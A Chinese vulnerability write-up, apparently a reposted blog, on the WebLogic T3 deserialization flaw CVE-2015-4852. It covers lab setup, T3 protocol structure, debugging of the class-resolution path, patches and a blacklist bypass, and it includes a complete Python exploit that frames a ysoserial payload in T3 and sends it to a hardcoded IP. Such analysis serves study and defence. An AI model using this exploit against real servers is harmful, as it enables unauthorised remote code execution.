主頁 >  其他 > CVE-2015-4852 Weblogic T3 反序列化分析

CVE-2015-4852 Weblogic T3 反序列化分析

2022-12-09 07:29:23 其他

0x01 前言

看到很多師傅的面經里面都有提到 Weblogic 這一個漏洞，最近正好有一些閑暇時間，可以看一看，

因為環境上總是有一些小問題，所以會在本地和云服務器切換著除錯，

0x02 環境搭建

 

太坑了，我的建議是用本地搭建的方法，因為用 docker 搭建，會產生依賴包缺失的問題，本地搭建指南 https://www.penson.top/article/av40

 

這里環境安裝用的是 奇安信 A-team 大哥提供的腳本，不得不說實在是太方便了！省去了很多環境搭建中不必要的麻煩

鏈接：https://github.com/QAX-A-Team/WeblogicEnvironment

下載對應版本的 JDK 和 Weblogic 然后分別放在 jdks 和 weblogics 中

JDK安裝包下載地址：https://www.oracle.com/technetwork/java/javase/archive-139210.html

Weblogic安裝包下載地址：https://www.oracle.com/technetwork/middleware/weblogic/downloads/wls-for-dev-1703574.html

我這里直接用的 kali 搭建，需要先把 jdk 和 weblogic 放到檔案夾里面，如圖

首先要先改寫一下 Dockerfile，原作者寫的 Dockerfile 有一點小問題

# 基礎鏡像
FROM centos:centos7
# 引數
ARG JDK_PKG
ARG WEBLOGIC_JAR
# 解決libnsl包丟失的問題
# RUN yum -y install libnsl
?
# 創建用戶
RUN groupadd -g 1000 oinstall && useradd -u 1100 -g oinstall oracle
# 創建需要的檔案夾和環境變數
RUN mkdir -p /install && mkdir -p /scripts
ENV JDK_PKG=$JDK_PKG
ENV WEBLOGIC_JAR=$WEBLOGIC_JAR
?
# 復制腳本
COPY scripts/jdk_install.sh /scripts/jdk_install.sh 
COPY scripts/jdk_bin_install.sh /scripts/jdk_bin_install.sh 
?
COPY scripts/weblogic_install11g.sh /scripts/weblogic_install11g.sh
COPY scripts/weblogic_install12c.sh /scripts/weblogic_install12c.sh
COPY scripts/create_domain11g.sh /scripts/create_domain11g.sh
COPY scripts/create_domain12c.sh /scripts/create_domain12c.sh
COPY scripts/open_debug_mode.sh /scripts/open_debug_mode.sh
COPY jdks/$JDK_PKG .
COPY weblogics/$WEBLOGIC_JAR .
?
# 判斷jdk是包（bin/tar.gz）weblogic包（11g/12c）載入對應腳本
RUN if [ $JDK_PKG == *.bin ] ; then echo ****載入JDK bin安裝腳本**** && cp /scripts/jdk_bin_install.sh /scripts/jdk_install.sh ; else echo ****載入JDK tar.gz安裝腳本**** ; fi
RUN if [ $WEBLOGIC_JAR == *1036* ] ; then echo ****載入11g安裝腳本**** && cp /scripts/weblogic_install11g.sh /scripts/weblogic_install.sh && cp /scripts/create_domain11g.sh /scripts/create_domain.sh ; else echo ****載入12c安裝腳本**** && cp /scripts/weblogic_install12c.sh /scripts/weblogic_install.sh && cp /scripts/create_domain12c.sh /scripts/create_domain.sh  ; fi
?
# 腳本設定權限及運行
RUN chmod +x /scripts/jdk_install.sh
RUN chmod +x /scripts/weblogic_install.sh
RUN chmod +x /scripts/create_domain.sh
RUN chmod +x /scripts/open_debug_mode.sh
# 安裝JDK
RUN /scripts/jdk_install.sh
# 安裝weblogic
RUN /scripts/weblogic_install.sh
# 創建Weblogic Domain
RUN /scripts/create_domain.sh
# 打開Debug模式
RUN /scripts/open_debug_mode.sh
# 啟動 Weblogic Server
# CMD ["tail","-f","/dev/null"]
CMD ["/u01/app/oracle/Domains/ExampleSilentWTDomain/bin/startWebLogic.sh"]
EXPOSE 7001

 

接著起環境

docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=wls1036_generic.jar  -t weblogic1036jdk7u21 .
?
docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk7u21 weblogic1036jdk7u21

再把 docker 當中的一些依賴檔案夾拷出來，但是這一步經過我測驗，感覺 docker 當中的 lib 存在一定問題，所以后續把 weblogic 的庫拿進來就可以了，對應的代碼我會放在 GitHub 上，避免師傅們踩坑，

【----幫助網安學習，以下所有學習資料免費領！加vx：yj009991，備注 “博客園” 獲取！】

　① 網安學習成長路徑思維導圖
　② 60+網安經典常用工具包
　③ 100+SRC漏洞分析報告
　④ 150+網安攻防實戰技術電子書
　⑤ 最權威CISSP 認證考試指南+題庫
　⑥ 超1800頁CTF實戰技巧手冊
　⑦ 最新網安大廠面試題合集（含答案）
　⑧ APP客戶端安全檢測指南（安卓+IOS）

0x03 基礎知識

關于 Weblogic

 

首先說一說 Weblogic 吧，Weblogic 就和 Tomcat 差不多，從功能上來說就是兩個 Web 服務端，也是啟動器，

 

和 Tomcat 不同的地方在于，Weblogic 可以自己部署很多東西，要知道，在 Tomcat 當中，這些都是需要自己寫代碼的，

T3 協議

T3 協議其實是 Weblogic 內獨有的一個協議，在 Weblogic 中對 RMI 傳輸就是使用的 T3 協議，在 RMI 傳輸當中，被傳輸的是一串序列化的資料，在這串資料被接收后，執行反序列化的操作，

在 T3 的這個協議里面包含請求包頭和請求的主體這兩部分內容，

我們可以拿 CVE-2015-4852 的 EXP 來講解

EXP 如下

import socket
import sys
import struct
import re
import subprocess
import binascii
?
def get_payload1(gadget, command):
    JAR_FILE = '.\ysoserial.jar'
    popen = subprocess.Popen(['java', '-jar', JAR_FILE, gadget, command], stdout=subprocess.PIPE)
    return popen.stdout.read()
?
def get_payload2(path):
    with open(path, "rb") as f:
        return f.read()
?
def exp(host, port, payload):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((host, port))
?
    handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n".encode()
    sock.sendall(handshake)
    data = sock.recv(1024)
    pattern = re.compile(r"HELO:(.*).false")
    version = re.findall(pattern, data.decode())
    if len(version) == 0:
        print("Not Weblogic")
        return
?
    print("Weblogic {}".format(version[0]))
    data_len = binascii.a2b_hex(b"00000000") #資料包長度，先占位，后面會根據實際情況重新
    t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006") #t3協議頭
    flag = binascii.a2b_hex(b"fe010000") #反序列化資料標志
    payload = data_len + t3header + flag + payload
    payload = struct.pack('>I', len(payload)) + payload[4:] #重新計算資料包長度
    sock.send(payload)
?
if __name__ == "__main__":
    host = "81.68.120.14"
    port = 7001
    gadget = "Jdk7u21" #CommonsCollections1 Jdk7u21
    command = "Calc"
?
    payload = get_payload1(gadget, command)
    exp(host, port, payload)

 

這里有一個小坑，我直接運行 py 程式是不行的，會回顯 Not Weblogic，因為 python socket 如果是頻繁發包，會被服務端所拒絕，所以需要以 debug 模式運行，當然如果增添 sleep 應該也是可以實作的，

 

Weblogic 請求包頭

我們需要通過 Wireshark 對這一個流量包執行抓包操作，后續抓到包的請求頭如圖

這一個就是它請求包的頭

t3 12.2.1 AS:255 HL:19 MS:10000000 PU:t3://us-l-breens:7001

在發送該請求包頭后，服務端 Weblogic 會有一個回應，內容如下

HELO:10.3.6.0.false
AS:2048
HL:19

HELO 后面的內容則是被攻擊方的 Weblogic 版本號，也就是說，在發送正確的請求包頭后，服務端會進行一個回傳 Weblogic 的版本號，

Weblogic 請求主體

請求主體，也就是發送的資料，這些資料分為七部分內容，此處借用 z_zz_zzz師傅的修復weblogic的JAVA反序列化漏洞的多種方法文章中的一張圖

第一個非 Java 序列化資料，也就是我們的請求頭：t3 12.2.1 AS:255 HL:19 MS:10000000 PU:t3://us-l-breens:7001

后面第 n 部分的資料，其實是不限制的，也就是說，我可以只有一部分的 Java 序列化資料，也可以有七部分的 Java 序列化資料，這并不重要，我們可以看觀察一下 Wireshark 抓的包

在 ac ed 00 05 之后的內容便是序列化的資料，所以如果我們要進行攻擊，應該是對于這一串序列化的資料進行惡意構造，讓服務端在反序列化的時候發起攻擊，

 

而此處，如果有多個 Java 序列化的資料，可以對任一一個資料進行攻擊即可，

 

0x04 漏洞分析與除錯

尋找尾部漏洞點

畢竟是反序列化的漏洞，思考了一下從兩個點入手，

1、是否存在 Jndi 注入2、是否有能夠命令執行的利用點

Jndi 注入的鏈尾探索

懷著這樣的思路，先全域搜索 Jndi 關鍵詞，感覺我這樣的做法應該很不精準，但是暫時找不到其他好的方法，應該是要借助一些插件或者工具什么的了，

這里有一個 JndiServiceImpl 類，看著不錯，點進去看看，它的 invoke() 方法同樣吸引人，點過去之后發現疑似存在 jndi 注入

不過這里雖然引數 ———— this.implJndiName 是可控的，但是無法進行攻擊，因為只能對 java:comp/env/ 進行探測，無法對 rmi, jndi, ldap 三者進行有效的呼叫，初步告吹了，

重新換一個類，這里我找到的是 JndiAttrs 類，在它的建構式中存在呼叫 ldap 的現象，在第 40 行

從第六個字符開始截取，存在一些繞過手法，這個并不要緊，而 providerURL 最后會被 put 進 env 當中，env 是一個 Properties 類

繼續往下分析，env 作為 InitialDirContext 類的建構式的傳參，

一路跟進，是到了 InitialContext 的建構式，跟進 init() 方法

跟進 getDefaultInitCtx() 方法，再跟進 NamingManager.getInitialContext(myProps)，發現只是 loadClass 了一個物件，寄，白給，

諸如此類鏈尾的嘗試還有很多，師傅們可以自行嘗試，我這只是在拋磚引玉，由于篇幅限制，后續內容我們還是集中于 Weblogic CVE-2015-4852 的漏洞分析，

漏洞分析

通過命令 ls -r ./* | grep -i commons，抑或是通過 maven dependency analyze，都可以分析得到 weblogic 10.3.6 的包里面包含有 Commons Collections 3.2.0 的包，

所以我們現在已經有了鏈尾，需要尋找一個合適的入口類，這里就直接借用其他師傅們的研究成果了，反序列化的入口類是在 InboundMsgAbbrev#readObject 處，下個斷點開始除錯，

 

Weblogic T3 對于 RMI 傳遞過來的資料在處理上還是比較繞的，不過有了前面 z_zz_zzz 師傅文章中的那張圖，在理解上能夠變得簡單得多，

 

開始除錯

先跟進 ServerChannelInputStream 的建構式，ServerChannelInputStream 這個類的作用是處理服務端收到的請求頭資訊

繼續跟進 getServerChannel() 方法

我們可以關注一下目前的 this.connection 是什么

connection 是 weblogic.rjvm.t3.MuxableSocketT3$T3MsgAbbrevJVMConnection@49be5302 這個類，在 this.connection 中主要存盤了一些 RMI 連接的資料，包括埠地址等

跟進 getChannel() 方法，開始處理 T3 協議

 

T3 頭處理結束，重新回到 InboundMsgAbbrev#readObject 處，跟進 readObject() 方法

 

一路跟進至 InboundMsgAbbrev#resolveClass() 中，這里的呼叫堆疊如下

resolveClass:108, InboundMsgAbbrev$ServerChannelInputStream (weblogic.rjvm)
readNonProxyDesc:1610, ObjectInputStream (java.io)
readClassDesc:1515, ObjectInputStream (java.io)
readOrdinaryObject:1769, ObjectInputStream (java.io)
readObject0:1348, ObjectInputStream (java.io)
readObject:370, ObjectInputStream (java.io)
readObject:66, InboundMsgAbbrev (weblogic.rjvm)
read:38, InboundMsgAbbrev (weblogic.rjvm)

resolveClass() 方法是用來處理類的，這些類在經過反序列化之后會走到 resolveClass() 方法這里，此時的 var1，正是我們的 AnnotationInvocationHandler 類

這時候的 AnnotationInvocationHandler 類并不會被直接拿去反序列化，因為 Weblogic 服務端需要先加載所有反序列化的內容，在將所有資料反序列化決議完畢之后（也可以說只是做了 Class.forName() 的操作之后），才會開始進行真正的反序列化

后續就是熟悉的 CC1 鏈環節，這里不再展開

PoC 理解

PoC 本質就是把 ysoserial 生成的 payload 變成 T3 協議里的資料格式，我們需要寫入的有幾段東西，

1、Header，這代表了資料包長度2、T3 Header3、反序列化標志，也就是 fe 01 00 00

所以這三段話是這么來的

header = binascii.a2b_hex(b"00000000")
t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006")
desflag = binascii.a2b_hex(b"fe010000")

0x05 漏洞修復

在 resolveClass 處打補丁

在前面分析的程序中，我們能夠看出來，加載類其實是通過呼叫 resolveClass() 方法，再通過反射獲取到任意類的，所以官方選擇了基于 resolveClass() 去做黑名單校驗，

如果在 resolveClass() 處加入一個過濾，在 readNonProxyDesc 呼叫完 resolveClass 方法后，后面的反序列化操作無法完成，

通過 Web 代理與 nginx 等負載均衡防御

Web 代理的方式只能轉發 HTTP 的請求，而不會轉發 T3 協議的請求，這就能防御住 T3 漏洞的攻擊，當然這對于業務上有很大的影響，同理負載均衡也是，不過負載均衡需要自己手動設定，

黑名單 bypass

Oracle 官方對于 CVE-2015-4852 的修復是通過黑名單限制的，

黑名單中的類不會被反序列化

繞過思路如下

其實就是由 ServerChannelInputStream 換到了自身的 ReadExternal#InputStream，這一個 bypass 也被收錄為 CVE-2016-0638；后續會對這一個漏洞進行分析，

0x06 小結

從原理角度上來說還是比較簡單的，不過理解 T3 的傳輸，并且構造惡意 PoC 的程序是非常值得學習的，CVE-2015-4852 為一些類似的攻擊提供了思路，

更多靶場實驗練習、網安學習資料，請點擊這里>>

 

合天智匯：合天網路靶場、網安實戰虛擬環境

轉載請註明出處，本文鏈接：https://www.uj5u.com/qita/539512.html

標籤：其他

上一篇：內網安全 - 簡單域環境搭建

下一篇：源代碼安全保障指南

標籤雲
其他(157675) Python(38076) JavaScript(25376) Java(17977) C(15215) 區塊鏈(8255) C＃(7972) AI(7469) 爪哇(7425) MySQL(7132) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5869) 数组(5741) R(5409) Linux(5327) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4554) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2429) ASP.NET(2402) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) 功能(1967) .NET技术(1958) Web開發(1951) python-3.x(1918) HtmlCss(1915) 弹簧靴(1913) C++(1909) xml(1889) PostgreSQL(1872) .NETCore(1853) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • 網閘典型架構簡述

    網閘架構一般分為兩種：三主機的三系統架構網閘和雙主機的2+1架構網閘。 三主機架構分別為內端機、外端機和仲裁機。三機無論從軟體和硬體上均各自獨立。首先從硬體上來看，三機都用各自獨立的主板、記憶體及存盤設備。從軟體上來看，三機有各自獨立的作業系統。這樣能達到完全的三機獨立。對于“2+1”系統，“2”分為 ......

    uj5u.com 2020-09-10 02:00:44 more
  • 如何從xshell上傳檔案到centos linux虛擬機里

    如何從xshell上傳檔案到centos linux虛擬機里及：虛擬機CentOs下執行 yum -y install lrzsz命令，出現錯誤：鏡像無法找到軟體包 前言 一、安裝lrzsz步驟 二、上傳檔案 三、遇到的問題及解決方案 總結 前言 提示：其實很簡單，往虛擬機上安裝一個上傳檔案的工具 ......

    uj5u.com 2020-09-10 02:00:47 more
  • 一、SQLMAP入門

    一、SQLMAP入門 1、判斷是否存在注入 sqlmap.py -u 網址/id=1 id=1不可缺少。當注入點后面的引數大于兩個時。需要加雙引號， sqlmap.py -u "網址/id=1&uid=1" 2、判斷文本中的請求是否存在注入 從文本中加載http請求，SQLMAP可以從一個文本檔案中 ......

    uj5u.com 2020-09-10 02:00:50 more
  • Metasploit 簡單使用教程

    metasploit 簡單使用教程 浩先生， 2020-08-28 16:18:25 分類專欄： kail 網路安全 linux 文章標簽： linux資訊安全 編輯 著作權 metasploit 使用教程 前言 一、Metasploit是什么？ 二、準備作業 三、具體步驟 前言 Msfconsole ......

    uj5u.com 2020-09-10 02:00:53 more
  • 游戲逆向之驅動層與用戶層通訊

    驅動層代碼： #pragma once #include <ntifs.h> #define add_code CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,METHOD_BUFFERED,FILE_ANY_ACCESS) /* 更多游戲逆向視頻www.yxfzedu.com ......

    uj5u.com 2020-09-10 02:00:56 more
  • 北斗電力時鐘（北斗授時服務器）讓網路資料更精準

    北斗電力時鐘（北斗授時服務器）讓網路資料更精準 北斗電力時鐘（北斗授時服務器）讓網路資料更精準 京準電子科技官微——ahjzsz 近幾年，資訊技術的得了快速發展，互聯網在逐漸普及，其在人們生活和生產中都得到了廣泛應用，并且取得了不錯的應用效果。計算機網路資訊在電力系統中的應用，一方面使電力系統的運行 ......

    uj5u.com 2020-09-10 02:01:03 more
  • 【CTF】CTFHub 技能樹 彩蛋 writeup

    ?碎碎念 CTFHub：https://www.ctfhub.com/ 筆者入門CTF時時剛開始刷的是bugku的舊平臺，后來才有了CTFHub。 感覺不論是網頁UI設計，還是題目質量，賽事跟蹤，工具軟體都做得很不錯。 而且因為獨到的金幣制度的確讓人有一種想去刷題賺金幣的感覺。 個人還是非常喜歡這個 ......

    uj5u.com 2020-09-10 02:04:05 more
  • 02windows基礎操作

    我學到了一下幾點 Windows系統目錄結構與滲透的作用 常見Windows的服務詳解 Windows埠詳解 常用的Windows注冊表詳解 hacker DOS命令詳解（net user / type /md /rd/ dir /cd /net use copy、批處理 等） 利用dos命令制作 ......

    uj5u.com 2020-09-10 02:04:18 more
  • 03.Linux基礎操作

    我學到了以下幾點 01Linux系統介紹02系統安裝，密碼啊破解03Linux常用命令04LAMP 01LINUX windows： win03 8 12 16 19 配置不繁瑣 Linux：redhat,centos(紅帽社區版)，Ubuntu server,suse unix:金融機構，證券，銀 ......

    uj5u.com 2020-09-10 02:04:30 more
  • 05HTML

    01HTML介紹 02頭部標簽講解03基礎標簽講解04表單標簽講解 HTML前段語言 js1.了解代碼2.根據代碼 懂得挖掘漏洞 （POST注入/XSS漏洞上傳）3.黑帽seo 白帽seo 客戶網站被黑帽植入劫持代碼如何處理4.熟悉html表單 <html><head><title>TDK標題，描述 ......

    uj5u.com 2020-09-10 02:04:36 more
最新发布
  • 2023年最新微信小程式抓包教程

    01 開門見山 隔一個月發一篇文章，不過分。 首先回顧一下《微信系結手機號資料庫被脫庫事件》，我也是第一時間得知了這個訊息，然后跟蹤了整件事情的經過。下面是這起事件的相關截圖以及近日流出的一萬條資料樣本： 個人認為這件事也沒什么，還不如關注一下之前45億快遞資料查詢渠道疑似在近日復活的訊息。 訊息是 ......

    uj5u.com 2023-04-20 08:48:24 more
  • web3 產品介紹：metamask 錢包 使用最多的瀏覽器插件錢包

    Metamask錢包是一種基于區塊鏈技術的數字貨幣錢包，它允許用戶在安全、便捷的環境下管理自己的加密資產。Metamask錢包是以太坊生態系統中最流行的錢包之一，它具有易于使用、安全性高和功能強大等優點。 本文將詳細介紹Metamask錢包的功能和使用方法。 一、 Metamask錢包的功能 數字資 ......

    uj5u.com 2023-04-20 08:47:46 more
  • vulnhub_Earth

    前言 靶機地址->>>vulnhub_Earth 攻擊機ip：192.168.20.121 靶機ip：192.168.20.122 參考文章 https://www.cnblogs.com/Jing-X/archive/2022/04/03/16097695.html https://www.cnb ......

    uj5u.com 2023-04-20 07:46:20 more
  • 從4k到42k，軟體測驗工程師的漲薪史，給我看哭了

    清明節一過，盲猜大家已經無心上班，在數著日子準備過五一，但一想到銀行卡里的余額……瞬間心情就不美麗了。最近，2023年高校畢業生就業調查顯示，本科畢業月平均起薪為5825元。調查一出，便有很多同學表示自己又被平均了。看著這一資料，不免讓人想到前不久中國青年報的一項調查：近六成大學生認為畢業10年內會 ......

    uj5u.com 2023-04-20 07:44:00 more
  • 最新版本 Stable Diffusion 開源 AI 繪畫工具之中文自動提詞篇

    🎈 標簽生成器 由于輸入正向提示詞 prompt 和反向提示詞 negative prompt 都是使用英文，所以對學習母語的我們非常不友好 使用網址：https://tinygeeker.github.io/p/ai-prompt-generator 這個網址是為了讓大家在使用 AI 繪畫的時候 ......

    uj5u.com 2023-04-20 07:43:36 more
  • 漫談前端自動化測驗演進之路及測驗工具分析

    隨著前端技術的不斷發展和應用程式的日益復雜，前端自動化測驗也在不斷演進。隨著 Web 應用程式變得越來越復雜，自動化測驗的需求也越來越高。如今，自動化測驗已經成為 Web 應用程式開發程序中不可或缺的一部分，它們可以幫助開發人員更快地發現和修復錯誤，提高應用程式的性能和可靠性。 ......

    uj5u.com 2023-04-20 07:43:16 more
  • CANN開發實踐：4個DVPP記憶體問題的典型案例解讀

    摘要：由于DVPP媒體資料處理功能對存放輸入、輸出資料的記憶體有更高的要求（例如，記憶體首地址128位元組對齊），因此需呼叫專用的記憶體申請介面，那么本期就分享幾個關于DVPP記憶體問題的典型案例，并給出原因分析及解決方法。 本文分享自華為云社區《FAQ_DVPP記憶體問題案例》，作者：昇騰CANN。 DVPP ......

    uj5u.com 2023-04-20 07:43:03 more
  • msf學習

    msf學習 以kali自帶的msf為例 一、msf核心模塊與功能 msf模塊都放在/usr/share/metasploit-framework/modules目錄下 1、auxiliary 輔助模塊，輔助滲透（埠掃描、登錄密碼爆破、漏洞驗證等） 2、encoders 編碼器模塊，主要包含各種編碼 ......

    uj5u.com 2023-04-20 07:42:59 more
  • Halcon軟體安裝與界面簡介

    1. 下載Halcon17版本到到本地 2. 雙擊安裝包后 3. 步驟如下 1.2 Halcon軟體安裝 界面分為四大塊 1. Halcon的五個助手 1) 影像采集助手：與相機連接，設定相機引數，采集影像 2) 標定助手：九點標定或是其它的標定，生成標定檔案及內參外參，可以將像素單位轉換為長度單位 ......

    uj5u.com 2023-04-20 07:42:17 more
  • 在MacOS下使用Unity3D開發游戲

    第一次發博客，先發一下我的游戲開發環境吧。 去年2月份買了一臺MacBookPro2021 M1pro(以下簡稱mbp)，這一年來一直在用mbp開發游戲。我大致分享一下我的開發工具以及使用體驗。 1、Unity 官網鏈接： https://unity.cn/releases 我一般使用的Apple ......

    uj5u.com 2023-04-20 07:40:19 more

Copyright © 2010-2020 有解無憂